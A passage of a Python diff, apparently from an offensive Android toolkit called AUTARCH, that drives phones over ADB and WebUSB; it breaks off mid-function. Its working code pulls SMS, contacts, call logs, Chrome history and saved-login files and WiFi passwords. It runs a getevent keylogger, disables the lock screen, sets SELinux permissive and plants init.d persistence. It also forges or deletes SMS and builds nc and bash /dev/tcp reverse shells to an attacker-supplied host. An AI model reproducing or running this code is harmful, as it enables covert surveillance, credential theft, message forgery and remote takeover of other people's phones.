timeout=15) + if res['returncode'] == 0 and res['output'].strip(): + return {'success': True, 'output': res['output'].strip()} + # Fallback: dumpsys + res = self._shell(serial, 'dumpsys wifi | grep -A 2 "SSID:" 2>/dev/null', timeout=10) + return {'success': res['returncode'] == 0, 'output': res['output'].strip()} + + def wifi_connect(self, serial, ssid, password='', security='wpa'): + """Connect to a WiFi network. Android 10+ uses cmd wifi.""" + if password: + cmd = f'cmd wifi connect-network "{ssid}" {security} "{password}" 2>/dev/null' + else: + cmd = f'cmd wifi connect-network "{ssid}" open 2>/dev/null' + res = self._shell(serial, cmd, timeout=15) + return {'success': res['returncode'] == 0, 'ssid': ssid, 'output': res['output'].strip()} + + def wifi_disconnect(self, serial): + """Disconnect from WiFi.""" + res = self._shell(serial, 'cmd wifi set-wifi-enabled disabled 2>/dev/null; svc wifi disable 2>/dev/null') + return {'success': True} + + def wifi_enable(self, serial): + """Enable WiFi.""" + res = self._shell(serial, 'cmd wifi set-wifi-enabled enabled 2>/dev/null; svc wifi enable 2>/dev/null') + return {'success': True} + + def enable_hotspot(self, serial, ssid='AUTARCH_AP', password='autarch123'): + """Enable WiFi hotspot. Android 10+.""" + # Try cmd connectivity tethering + res = self._shell(serial, + f'cmd wifi start-softap autarch_sap {ssid} wpa2-psk "{password}" 2>/dev/null') + if res['returncode'] != 0: + # Fallback + res = self._shell(serial, 'svc wifi startTethering 2>/dev/null') + return {'success': True, 'ssid': ssid, 'output': res['output'].strip()} + + def capture_traffic(self, serial, interface='any', duration=30, pcap_filter=''): + """Capture network traffic via tcpdump. Requires ROOT or tcpdump binary.""" + duration = min(int(duration), 300) + remote_pcap = '/data/local/tmp/capture.pcap' + filt = f' {pcap_filter}' if pcap_filter else '' + cmd = f'su -c "timeout {duration} tcpdump -i {interface} -w {remote_pcap}{filt}" 2>/dev/null' + res = self._shell(serial, cmd, timeout=duration + 10) + out_dir = self._serial_dir('recon', serial) + local = str(out_dir / f'capture_{int(time.time())}.pcap') + result = self.hw.adb_pull(serial, remote_pcap, local) + self._shell(serial, f'rm {remote_pcap}') + if result['success'] and os.path.exists(local): + return {'success': True, 'path': local, 'size': os.path.getsize(local)} + return {'success': False, 'error': 'Capture failed (need root + tcpdump)'} + + def port_forward(self, serial, local_port, remote_port): + """Set up ADB port forwarding.""" + stdout, stderr, rc = self.hw._run_adb( + ['forward', f'tcp:{local_port}', f'tcp:{remote_port}'], + serial=serial, timeout=10) + return {'success': rc == 0, 'local': local_port, 'remote': remote_port, + 'output': stdout or stderr} + + def port_forward_list(self, serial): + """List active port forwards.""" + stdout, stderr, rc = self.hw._run_adb(['forward', '--list'], serial=serial, timeout=5) + forwards = [] + if rc == 0: + for line in (stdout or '').strip().split('\n'): + parts = line.strip().split() + if len(parts) >= 3: + forwards.append({'serial': parts[0], 'local': parts[1], 'remote': parts[2]}) + return {'success': True, 'forwards': forwards} + + def enable_adb_wifi(self, serial, port=5555): + """Enable ADB over WiFi.""" + stdout, stderr, rc = self.hw._run_adb(['tcpip', str(port)], serial=serial, timeout=10) + # Get device IP + res = self._shell(serial, 'ip route | grep wlan0 | grep src | awk "{print $NF}"') + ip = res['output'].strip().split('\n')[-1].strip() if res['returncode'] == 0 else '?' + return {'success': rc == 0, 'port': port, 'ip': ip, + 'connect_cmd': f'adb connect {ip}:{port}'} + + # ── App Manipulation ───────────────────────────────────────────── + + def grant_permission(self, serial, package, permission): + """Grant a runtime permission to an app.""" + res = self._shell(serial, f'pm grant {package} {permission}') + return {'success': res['returncode'] == 0, 'package': package, + 'permission': permission, 'output': res['output'].strip()} + + def revoke_permission(self, serial, package, permission): + """Revoke a runtime permission from an app.""" + res = self._shell(serial, f'pm revoke {package} {permission}') + return {'success': res['returncode'] == 0, 'package': package, + 'permission': permission, 'output': res['output'].strip()} + + def list_permissions(self, serial, package): + """List all permissions for a package.""" + res = self._shell(serial, f'dumpsys package {package} 2>/dev/null | grep -A 200 "granted=true"', timeout=10) + granted = [] + denied = [] + if res['returncode'] == 0: + for line in res['output'].split('\n'): + line = line.strip() + if 'granted=true' in line: + perm = line.split(':')[0].strip() if ':' in line else line.split()[0] + granted.append(perm) + elif 'granted=false' in line: + perm = line.split(':')[0].strip() if ':' in line else line.split()[0] + denied.append(perm) + return {'success': True, 'package': package, 'granted': granted, 'denied': denied} + + def disable_app(self, serial, package): + """Disable (freeze) an app.""" + res = self._shell(serial, f'pm disable-user --user 0 {package}') + return {'success': res['returncode'] == 0, 'package': package, 'output': res['output'].strip()} + + def enable_app(self, serial, package): + """Enable a disabled app.""" + res = self._shell(serial, f'pm enable {package}') + return {'success': res['returncode'] == 0, 'package': package, 'output': res['output'].strip()} + + def clear_app_data(self, serial, package): + """Clear all data for an app.""" + res = self._shell(serial, f'pm clear {package}') + return {'success': 'Success' in res['output'], 'package': package, 'output': res['output'].strip()} + + def force_stop_app(self, serial, package): + """Force stop an app.""" + res = self._shell(serial, f'am force-stop {package}') + return {'success': res['returncode'] == 0, 'package': package} + + def launch_app(self, serial, package): + """Launch an app.""" + res = self._shell(serial, f'monkey -p {package} -c android.intent.category.LAUNCHER 1 2>/dev/null') + return {'success': res['returncode'] == 0, 'package': package} + + def launch_activity(self, serial, component, extras=''): + """Start a specific activity. component format: com.pkg/.Activity""" + cmd = f'am start -n {component}' + if extras: + cmd += f' {extras}' + res = self._shell(serial, cmd) + return {'success': res['returncode'] == 0, 'component': component, 'output': res['output'].strip()} + + def send_broadcast(self, serial, action, extras=''): + """Send a broadcast intent.""" + cmd = f'am broadcast -a {action}' + if extras: + cmd += f' {extras}' + res = self._shell(serial, cmd) + return {'success': res['returncode'] == 0, 'action': action, 'output': res['output'].strip()} + + def content_query(self, serial, uri, projection='', where=''): + """Query any content provider.""" + cmd = f'content query --uri {uri}' + if projection: + cmd += f' --projection {projection}' + if where: + cmd += f' --where "{where}"' + res = self._shell(serial, cmd, timeout=15) + rows = [] + if res['returncode'] == 0: + for line in res['output'].split('\n'): + if 'Row:' in line: + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + rows.append(entry) + return {'success': True, 'uri': uri, 'rows': rows, 'count': len(rows)} + + def overlay_attack_enable(self, serial, package): + """Grant SYSTEM_ALERT_WINDOW to an app (overlay/tapjacking).""" + res = self._shell(serial, f'appops set {package} SYSTEM_ALERT_WINDOW allow') + return {'success': res['returncode'] == 0, 'package': package} + + # ── System Control ─────────────────────────────────────────────── + + def set_selinux(self, serial, mode='permissive'): + """Set SELinux mode. Requires ROOT.""" + val = '0' if mode == 'permissive' else '1' + res = self._shell(serial, f'su -c "setenforce {val}"') + verify = self._shell(serial, 'getenforce') + return {'success': res['returncode'] == 0, 'mode': verify['output'].strip()} + + def remount_system(self, serial, rw=True): + """Remount /system. Requires ROOT.""" + mode = 'rw' if rw else 'ro' + res = self._shell(serial, f'su -c "mount -o remount,{mode} /system"') + return {'success': res['returncode'] == 0, 'mode': mode, 'output': res['output'].strip()} + + def logcat_sensitive(self, serial, duration=10): + """Capture logcat and grep for sensitive data (passwords, tokens, keys).""" + patterns = 'password|token|secret|api.key|bearer|session|credential|auth' + res = self._shell(serial, + f'timeout {duration} logcat -d 2>/dev/null | grep -iE "{patterns}"', + timeout=duration + 5) + lines = [l.strip() for l in res['output'].split('\n') if l.strip()] + return {'success': True, 'lines': lines, 'count': len(lines)} + + def deploy_frida(self, serial, frida_path): + """Deploy and start Frida server. Requires ROOT.""" + if not os.path.isfile(frida_path): + return {'success': False, 'error': f'File not found: {frida_path}'} + remote = '/data/local/tmp/frida-server' + result = self.hw.adb_push(serial, frida_path, remote) + if not result['success']: + return {'success': False, 'error': 'Push failed'} + self._shell(serial, f'su -c "chmod 755 {remote}"') + self._shell(serial, f'su -c "nohup {remote} &" 2>/dev/null') + time.sleep(1) + # Verify running + check = self._shell(serial, 'su -c "pgrep frida"') + running = check['returncode'] == 0 and check['output'].strip() + return {'success': running, 'pid': check['output'].strip(), 'path': remote} + + def get_running_processes(self, serial): + """List running processes.""" + res = self._shell(serial, 'ps -A -o PID,USER,NAME 2>/dev/null || ps', timeout=10) + procs = [] + for line in res['output'].split('\n')[1:]: + parts = line.split() + if len(parts) >= 3: + procs.append({'pid': parts[0], 'user': parts[1], 'name': ' '.join(parts[2:])}) + elif len(parts) == 2: + procs.append({'pid': parts[0], 'name': parts[1]}) + return {'success': True, 'processes': procs, 'count': len(procs)} + + def get_open_ports(self, serial): + """List open network ports.""" + res = self._shell(serial, 'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null', timeout=10) + ports = [] + for line in res['output'].split('\n'): + line = line.strip() + if ':' in line and ('LISTEN' in line or 'tcp' in line.lower()): + ports.append(line) + return {'success': True, 'ports': ports, 'count': len(ports), 'raw': res['output']} + + def modify_setting(self, serial, namespace, key, value): + """Modify an Android setting. namespace: system/secure/global.""" + if namespace not in ('system', 'secure', 'global'): + return {'success': False, 'error': f'Invalid namespace: {namespace}'} + res = self._shell(serial, f'settings put {namespace} {key} {value}') + # Verify + verify = self._shell(serial, f'settings get {namespace} {key}') + return {'success': res['returncode'] == 0, 'namespace': namespace, + 'key': key, 'value': verify['output'].strip()} + + def get_device_fingerprint(self, serial): + """Comprehensive device fingerprint for identification.""" + fp = {} + props = { + 'model': 'ro.product.model', 'brand': 'ro.product.brand', + 'device': 'ro.product.device', 'board': 'ro.product.board', + 'manufacturer': 'ro.product.manufacturer', + 'android': 'ro.build.version.release', 'sdk': 'ro.build.version.sdk', + 'security_patch': 'ro.build.version.security_patch', + 'build_id': 'ro.build.display.id', 'fingerprint': 'ro.build.fingerprint', + 'build_type': 'ro.build.type', 'abi': 'ro.product.cpu.abi', + 'serial_internal': 'ro.serialno', 'bootloader': 'ro.bootloader', + 'hardware': 'ro.hardware', 'baseband': 'gsm.version.baseband', + 'first_api': 'ro.product.first_api_level', + } + for key, prop in props.items(): + r = self._shell(serial, f'getprop {prop}') + if r['returncode'] == 0: + fp[key] = r['output'].strip() + # IMEI (needs phone permission or root) + r = self._shell(serial, 'service call iphonesubinfo 1 2>/dev/null') + if r['returncode'] == 0 and "'" in r['output']: + imei_parts = re.findall(r"'(.+?)'", r['output']) + fp['imei_raw'] = ''.join(imei_parts).replace('.', '').strip() + # MAC + r = self._shell(serial, 'cat /sys/class/net/wlan0/address 2>/dev/null') + fp['mac_wifi'] = r['output'].strip() if r['returncode'] == 0 else '' + # Android ID + r = self._shell(serial, 'settings get secure android_id') + fp['android_id'] = r['output'].strip() + return fp + + def dump_database(self, serial, db_path, table=None, limit=100): + """Pull and query any SQLite database from device. Requires ROOT for app databases.""" + out_dir = self._serial_dir('recon', serial) + tmp = '/data/local/tmp/_db_dump' + self._shell(serial, f'su -c "cp {db_path} {tmp} && chmod 644 {tmp}" 2>/dev/null') + # If that fails, try direct (for world-readable DBs) + self._shell(serial, f'cp {db_path} {tmp} 2>/dev/null') + local = str(out_dir / f'db_{os.path.basename(db_path)}') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if not r['success'] or not os.path.exists(local): + return {'success': False, 'error': 'Cannot pull database'} + try: + conn = sqlite3.connect(local) + cur = conn.cursor() + # List tables + cur.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = [row[0] for row in cur.fetchall()] + rows = [] + if table and table in tables: + cur.execute(f'SELECT * FROM "{table}" LIMIT {limit}') + cols = [d[0] for d in cur.description] + for row in cur.fetchall(): + rows.append(dict(zip(cols, [str(v) for v in row]))) + conn.close() + return {'success': True, 'tables': tables, 'rows': rows, + 'table_queried': table, 'db_path': local} + except Exception as e: + return {'success': False, 'error': str(e)} + + + # ── WebUSB Direct Mode: Command Relay ──────────────────────────── + + def get_commands_for_op(self, op: str, params: dict) -> dict: + """Return ADB shell command(s) for a given operation without executing them. + + Used by WebUSB Direct mode so the browser can execute via navigator.usb. + Returns one of: + {'commands': ['cmd1', ...]} — execute each via adbShell in order + {'pullPath': '/device/path'} — pull this file from device + {'error': 'message'} — unsupported or invalid params + """ + p = params or {} + serial = p.get('serial', '') # ignored in direct mode but kept for parity + + # ── Apps ── + if op == '/apps/list': + flag = '' if p.get('include_system') else '-3' + return {'commands': [f'pm list packages -f {flag}']} + + if op == '/apps/pull-apk': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm path {pkg}']} # JS gets path, then needs second pull + + if op == '/apps/pull-data': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + cmds = [] + for sub in ('databases', 'shared_prefs', 'files'): + cmds.append(f'run-as {pkg} ls /data/data/{pkg}/{sub}/ 2>/dev/null') + return {'commands': cmds} + + if op == '/apps/shared-prefs': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [ + f'run-as {pkg} ls /data/data/{pkg}/shared_prefs/ 2>/dev/null', + ]} + + # ── Recon ── + if op == '/recon/device-dump': + return {'commands': [ + 'getprop', + 'getenforce 2>/dev/null', + 'uname -a', + 'getprop ro.build.fingerprint', + 'ip addr show 2>/dev/null || ifconfig', + 'pm list packages | wc -l', + ]} + + if op == '/recon/accounts': + return {'commands': ['dumpsys account 2>/dev/null']} + + if op == '/recon/wifi': + return {'commands': [ + 'su -c "cat /data/misc/wifi/WifiConfigStore.xml" 2>/dev/null', + 'su -c "cat /data/misc/wifi/wpa_supplicant.conf" 2>/dev/null', + ]} + + if op == '/recon/calls': + limit = int(p.get('limit', 200)) + return {'commands': [ + f'content query --uri content://call_log/calls ' + f'--projection number:type:date:duration --sort "date DESC" 2>/dev/null' + ]} + + if op == '/recon/sms': + return {'commands': [ + 'content query --uri content://sms/ ' + '--projection address:body:date:type --sort "date DESC" 2>/dev/null' + ]} + + if op == '/recon/contacts': + return {'commands': [ + 'content query --uri content://contacts/phones/ ' + '--projection display_name:number 2>/dev/null' + ]} + + if op == '/recon/browser': + return {'commands': [ + 'su -c "cp /data/data/com.android.chrome/app_chrome/Default/History ' + '/data/local/tmp/_ch && chmod 644 /data/local/tmp/_ch" 2>/dev/null', + 'ls /data/local/tmp/_ch 2>/dev/null', + ]} + + if op == '/recon/credentials': + return {'commands': [ + "su -c \"cp '/data/data/com.android.chrome/app_chrome/Default/Login Data' " + "/data/local/tmp/_cl && chmod 644 /data/local/tmp/_cl\" 2>/dev/null", + ]} + + if op == '/recon/export': + return {'commands': [ + 'getprop ro.product.model', + 'content query --uri content://sms/ --projection address:body:date:type --sort "date DESC" 2>/dev/null', + 'content query --uri content://contacts/phones/ --projection display_name:number 2>/dev/null', + 'content query --uri content://call_log/calls --projection number:type:date:duration --sort "date DESC" 2>/dev/null', + ]} + + # ── Payloads ── + if op == '/payload/deploy': + return {'error': 'Payload deploy requires server mode (needs local file access)'} + + if op == '/payload/execute': + remote_path = p.get('remote_path', '').strip() + args = p.get('args', '').strip() + background = p.get('background', True) + if not remote_path: + return {'error': 'No remote_path provided'} + if background: + return {'commands': [f'nohup {remote_path} {args} > /dev/null 2>&1 & echo $!']} + return {'commands': [f'{remote_path} {args}']} + + if op == '/payload/reverse-shell': + lhost = p.get('lhost', '').strip() + lport = p.get('lport', '4444') + method = p.get('method', 'nc') + if not lhost: + return {'error': 'No lhost provided'} + if method == 'nc': + cmd = f'nohup sh -c "nc {lhost} {lport} -e /system/bin/sh" > /dev/null 2>&1 &' + elif method == 'bash': + cmd = f'nohup sh -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" > /dev/null 2>&1 &' + else: + return {'error': f'Unknown method: {method}'} + return {'commands': [cmd]} + + if op == '/payload/persistence': + return {'commands': [ + 'su -c "mkdir -p /system/etc/init.d && ' + 'echo \'#!/system/bin/sh\' > /system/etc/init.d/99autarch && ' + 'chmod 755 /system/etc/init.d/99autarch"' + ]} + + if op == '/payload/list': + return {'commands': ['ps -ef 2>/dev/null || ps']} + + if op == '/payload/kill': + pid = str(p.get('pid', '')).strip() + if not pid: + return {'error': 'No pid provided'} + return {'commands': [f'kill {pid} 2>/dev/null || su -c "kill {pid}"']} + + # ── Boot / Recovery ── + if op == '/boot/info': + return {'commands': ['getprop ro.build.version.release', 'getprop ro.bootloader', + 'getprop ro.secure', 'getprop ro.debuggable']} + + if op == '/boot/backup': + return {'error': 'Boot backup requires server mode (pulls binary to server)'} + + if op == '/boot/unlock': + return {'error': 'Bootloader unlock requires server mode (fastboot command)'} + + if op == '/boot/flash-recovery': + return {'error': 'Flash recovery requires server mode (fastboot + local image file)'} + + if op == '/boot/flash-boot': + return {'error': 'Flash boot requires server mode (fastboot + local image file)'} + + if op == '/boot/temp-boot': + return {'error': 'Temp boot requires server mode (fastboot + local image file)'} + + if op == '/boot/disable-verity': + return {'commands': ['adb disable-verity 2>/dev/null || echo "Run from host ADB"']} + + # ── Root ── + if op == '/root/check': + return {'commands': [ + 'su -c id 2>/dev/null', + 'ls /data/adb/magisk/ 2>/dev/null', + 'pm list packages | grep -i magisk 2>/dev/null', + 'ls /system/xbin/su 2>/dev/null', + 'getprop ro.build.type', + ]} + + if op == '/root/install-magisk': + return {'error': 'Magisk install requires server mode (needs APK on server)'} + + if op == '/root/pull-patched': + return {'commands': ['ls -t /sdcard/Download/magisk_patched*.img 2>/dev/null']} + + if op == '/root/exploit': + return {'error': 'Root exploit requires server mode (needs binary on server)'} + + # ── SMS ── + if op == '/sms/list': + address = p.get('address', '') + cmd = ('content query --uri content://sms/ ' + '--projection _id:address:body:date:type:read --sort "date DESC"') + return {'commands': [cmd]} + + if op == '/sms/insert': + address = p.get('address', '').strip() + body = p.get('body', '').strip() + if not address or not body: + return {'error': 'address and body required'} + date_ms = int(time.time() * 1000) + type_map = {'inbox': 1, 'sent': 2, 'draft': 3} + type_val = type_map.get(str(p.get('type', 'inbox')), 1) + read_val = 1 if p.get('read', True) else 0 + body_esc = body.replace("'", "'\\''") + cmds = [ + 'appops set com.android.shell WRITE_SMS allow', + (f"content insert --uri content://sms/" + f" --bind address:s:'{address}'" + f" --bind body:s:'{body_esc}'" + f" --bind date:l:{date_ms}" + f" --bind type:i:{type_val}" + f" --bind read:i:{read_val}" + f" --bind seen:i:1"), + ] + return {'commands': cmds} + + if op == '/sms/bulk-insert': + return {'error': 'Bulk SMS insert requires server mode'} + + if op == '/sms/update': + sms_id = p.get('id', '').strip() + body = p.get('body', '').strip() + if not sms_id or not body: + return {'error': 'id and body required'} + body_esc = body.replace("'", "'\\''") + cmds = [ + 'appops set com.android.shell WRITE_SMS allow', + f"content update --uri content://sms/{sms_id} --bind body:s:'{body_esc}'", + ] + return {'commands': cmds} + + if op == '/sms/delete': + sms_id = p.get('id', '').strip() + if not sms_id: + return {'error': 'id required'} + return {'commands': [ + 'appops set com.android.shell WRITE_SMS allow', + f'content delete --uri content://sms/{sms_id}', + ]} + + if op == '/sms/delete-all': + return {'commands': [ + 'appops set com.android.shell WRITE_SMS allow', + 'content delete --uri content://sms/', + ]} + + # ── RCS ── + if op == '/rcs/check': + return {'commands': [ + 'pm list packages | grep com.google.android.apps.messaging', + 'pm list packages | grep com.android.messaging', + ]} + + if op in ('/rcs/list', '/rcs/insert', '/rcs/delete'): + return {'error': 'RCS operations require server mode (SQLite database manipulation)'} + + # ── Screen & Input ── + if op == '/screen/capture': + return {'commands': [ + 'screencap -p /data/local/tmp/_sc.png 2>/dev/null && ' + 'base64 /data/local/tmp/_sc.png && ' + 'rm /data/local/tmp/_sc.png' + ]} + + if op == '/screen/record': + dur = min(int(p.get('duration', 10)), 180) + size = p.get('size', '1280x720') + return {'error': 'Screen record requires server mode (binary file too large for inline transfer)'} + + if op == '/screen/tap': + x, y = p.get('x', 0), p.get('y', 0) + return {'commands': [f'input tap {x} {y}']} + + if op == '/screen/swipe': + x1, y1, x2, y2 = p.get('x1', 0), p.get('y1', 0), p.get('x2', 0), p.get('y2', 0) + dur = p.get('duration_ms', 300) + return {'commands': [f'input swipe {x1} {y1} {x2} {y2} {dur}']} + + if op == '/screen/text': + text = p.get('text', '').replace(' ', '%s').replace('&', '\\&').replace(';', '\\;') + return {'commands': [f'input text "{text}"']} + + if op == '/screen/key': + keycode = p.get('keycode', 3) + return {'commands': [f'input keyevent {keycode}']} + + if op == '/screen/dismiss-lock': + return {'commands': [ + 'input keyevent 26', + 'input keyevent 82', + 'input swipe 540 1800 540 400 300', + ]} + + if op == '/screen/disable-lock': + return {'commands': [ + 'settings put secure lockscreen.disabled 1', + 'locksettings set-disabled true 2>/dev/null', + ]} + + if op == '/screen/keylogger-start': + return {'commands': [ + 'nohup sh -c "getevent -lt > /data/local/tmp/keylog.txt 2>&1" &', + 'pgrep -f "getevent -lt"', + ]} + + if op == '/screen/keylogger-stop': + return {'commands': [ + 'pkill -f "getevent -lt"', + 'cat /data/local/tmp/keylog.txt 2>/dev/null', + 'rm /data/local/tmp/keylog.txt 2>/dev/null', + ]} + + # ── Advanced ── + if op == '/adv/clipboard': + return {'commands': ['service call clipboard 2 i32 1 i32 0 2>/dev/null']} + + if op == '/adv/notifications': + return {'commands': ['dumpsys notification --noredact 2>/dev/null']} + + if op == '/adv/location': + return {'commands': [ + 'dumpsys location 2>/dev/null', + 'settings get secure location_mode', + 'settings get secure location_providers_allowed', + ]} + + if op == '/adv/fingerprint': + props = [ + 'ro.product.model', 'ro.product.brand', 'ro.product.device', + 'ro.product.manufacturer', 'ro.build.version.release', + 'ro.build.version.sdk', 'ro.build.display.id', 'ro.build.fingerprint', + 'ro.build.type', 'ro.product.cpu.abi', 'ro.serialno', + ] + cmds = [f'getprop {prop}' for prop in props] + cmds.append('cat /sys/class/net/wlan0/address 2>/dev/null') + cmds.append('settings get secure android_id') + return {'commands': cmds} + + if op == '/adv/settings': + return {'commands': [ + 'settings list system', + 'settings list secure', + 'settings list global', + ]} + + if op == '/adv/media-list': + media_type = p.get('media_type', 'photos') + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + 'whatsapp_media': '/sdcard/WhatsApp/Media/', + 'telegram_media': '/sdcard/Telegram/', + } + path = paths.get(media_type, f'/sdcard/{media_type}/') + return {'commands': [f'ls -lhS {path} 2>/dev/null']} + + if op == '/adv/media-pull': + return {'error': 'Media pull requires server mode (pulls files to server directory)'} + + if op in ('/adv/whatsapp', '/adv/telegram', '/adv/signal'): + return {'error': f'{op} database extraction requires server mode (SQLite + binary file transfer)'} + + if op == '/adv/network-info': + return {'commands': [ + 'ip addr show 2>/dev/null', + 'ip route show 2>/dev/null', + 'getprop net.dns1', + 'getprop net.dns2', + 'settings get global http_proxy', + ]} + + if op == '/adv/proxy-set': + host = p.get('host', '').strip() + port = p.get('port', '8080') + if not host: + return {'error': 'No host provided'} + return {'commands': [f'settings put global http_proxy {host}:{port}']} + + if op == '/adv/proxy-clear': + return {'commands': [ + 'settings put global http_proxy :0', + 'settings delete global http_proxy', + 'settings delete global global_http_proxy_host', + 'settings delete global global_http_proxy_port', + ]} + + if op == '/adv/wifi-scan': + return {'commands': [ + 'cmd wifi start-scan 2>/dev/null; sleep 2; cmd wifi list-scan-results 2>/dev/null' + ]} + + if op == '/adv/wifi-connect': + ssid = p.get('ssid', '').strip() + password = p.get('password', '') + security = p.get('security', 'wpa') + if not ssid: + return {'error': 'No SSID provided'} + if password: + return {'commands': [f'cmd wifi connect-network "{ssid}" {security} "{password}" 2>/dev/null']} + return {'commands': [f'cmd wifi connect-network "{ssid}" open 2>/dev/null']} + + if op == '/adv/adb-wifi': + port = int(p.get('port', 5555)) + return {'commands': [ + f'setprop service.adb.tcp.port {port}', + 'stop adbd; start adbd', + 'ip route | grep wlan0 | grep src', + ]} + + if op == '/adv/capture-traffic': + return {'error': 'Traffic capture requires server mode (pulls .pcap to server)'} + + if op == '/adv/selinux': + mode = p.get('mode', 'permissive') + val = '0' if mode == 'permissive' else '1' + return {'commands': [f'su -c "setenforce {val}"', 'getenforce']} + + if op == '/adv/remount': + return {'commands': ['su -c "mount -o remount,rw /system"']} + + if op == '/adv/logcat-sensitive': + dur = int(p.get('duration', 10)) + patterns = 'password|token|secret|api.key|bearer|session|credential|auth' + return {'commands': [f'timeout {dur} logcat -d 2>/dev/null | grep -iE "{patterns}"']} + + if op == '/adv/processes': + return {'commands': ['ps -A -o PID,USER,NAME 2>/dev/null || ps']} + + if op == '/adv/ports': + return {'commands': ['netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null']} + + if op == '/adv/modify-setting': + ns = p.get('namespace', 'global') + key = p.get('key', '').strip() + value = p.get('value', '').strip() + if ns not in ('system', 'secure', 'global') or not key: + return {'error': 'Invalid namespace or missing key'} + return {'commands': [ + f'settings put {ns} {key} {value}', + f'settings get {ns} {key}', + ]} + + if op == '/adv/app-launch': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null']} + + if op == '/adv/app-disable': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm disable-user --user 0 {pkg}']} + + if op == '/adv/app-enable': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm enable {pkg}']} + + if op == '/adv/app-clear': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm clear {pkg}']} + + if op == '/adv/content-query': + uri = p.get('uri', '').strip() + if not uri: + return {'error': 'No URI provided'} + cmd = f'content query --uri {uri}' + proj = p.get('projection', '') + where = p.get('where', '') + if proj: + cmd += f' --projection {proj}' + if where: + cmd += f' --where "{where}"' + return {'commands': [cmd]} + + return {'error': f'Unknown or unsupported operation for direct mode: {op}'} + + def parse_op_output(self, op: str, params: dict, raw: str) -> dict: + """Parse raw ADB shell output from WebUSB Direct mode. + + Reuses the same parsing logic as the regular methods but feeds in + the raw text that the browser collected via adbShell(). + Returns the same structured JSON the server-mode route would return. + """ + p = params or {} + lines = raw.strip().split('\n') if raw.strip() else [] + + # ── Apps ── + if op == '/apps/list': + packages = [] + for line in lines: + line = line.strip() + if not line.startswith('package:'): + continue + rest = line[len('package:'):] + if '=' in rest: + path, pkg = rest.rsplit('=', 1) + is_sys = path.startswith('/system') or path.startswith('/product') + packages.append({'package': pkg, 'path': path, 'is_system': is_sys}) + return {'packages': packages, 'count': len(packages)} + + if op == '/apps/pull-apk': + # raw contains output of `pm path ` — extract path for UI to show + apk_path = '' + for line in lines: + line = line.strip().replace('package:', '') + if line: + apk_path = line + break + return {'success': bool(apk_path), 'remote_path': apk_path, + 'note': 'Use adbPull in browser to download the APK directly.' if apk_path else 'Package not found'} + + if op == '/apps/shared-prefs': + files = [l.strip() for l in lines if l.strip().endswith('.xml')] + return {'success': len(files) > 0, 'files': files, 'raw': raw} + + # ── Recon ── + if op == '/recon/device-dump': + dump = {'raw_output': raw} + props = {} + for line in lines: + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + props[m.group(1)] = m.group(2) + if props: + dump['properties'] = props + return dump + + if op == '/recon/accounts': + accounts = [] + seen = set() + for line in lines: + m = re.search(r'Account\s*\{name=(.+?),\s*type=(.+?)\}', line) + if m: + key = f"{m.group(1)}:{m.group(2)}" + if key not in seen: + seen.add(key) + accounts.append({'name': m.group(1), 'type': m.group(2)}) + return {'success': True, 'accounts': accounts, 'count': len(accounts)} + + if op in ('/recon/calls', '/sms/list', '/recon/sms'): + type_map = {'1': 'incoming' if op == '/recon/calls' else 'inbox', + '2': 'outgoing' if op == '/recon/calls' else 'sent', + '3': 'missed' if op == '/recon/calls' else 'draft', + '4': 'voicemail' if op == '/recon/calls' else 'outbox'} + key = 'calls' if op == '/recon/calls' else 'messages' + items = [] + for line in lines: + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + try: + ts = int(entry.get('date', 0)) + if ts > 0: + entry['date_readable'] = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(ts / 1000)) + except (ValueError, OSError): + pass + items.append(entry) + return {'success': True, key: items, 'count': len(items)} + + if op == '/recon/contacts': + contacts = [] + for line in lines: + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if entry: + contacts.append(entry) + return {'success': True, 'contacts': contacts, 'count': len(contacts)} + + # ── Screen ── + if op == '/screen/capture': + # raw contains base64-encoded PNG + b64 = raw.strip() + if b64: + return {'success': True, 'base64_png': b64, + 'data_url': 'data:image/png;base64,' + b64} + return {'success': False, 'error': 'Screenshot failed or empty output'} + + if op == '/screen/tap': + return {'success': 'error' not in raw.lower(), 'x': p.get('x'), 'y': p.get('y')} + + if op == '/screen/swipe': + return {'success': 'error' not in raw.lower()} + + if op == '/screen/text': + return {'success': 'error' not in raw.lower(), 'text': p.get('text')} + + if op == '/screen/key': + return {'success': 'error' not in raw.lower(), 'keycode': p.get('keycode')} + + if op == '/screen/dismiss-lock': + return {'success': True, 'output': raw} + + if op == '/screen/disable-lock': + return {'success': True, 'results': [{'cmd': l} for l in lines if l.strip()]} + + if op == '/screen/keylogger-start': + pid = '' + for line in lines: + line = line.strip() + if line.isdigit(): + pid = line + break + return {'success': True, 'pid': pid, 'log_path': '/data/local/tmp/keylog.txt'} + + if op == '/screen/keylogger-stop': + return {'success': True, 'output': raw} + + # ── Root ── + if op == '/root/check': + rooted = 'uid=0' in raw + method = None + if 'magisk' in raw.lower(): + method = 'Magisk' + elif '/system/xbin/su' in raw: + method = 'SuperSU' + build_type = '' + for line in lines: + if line.strip() in 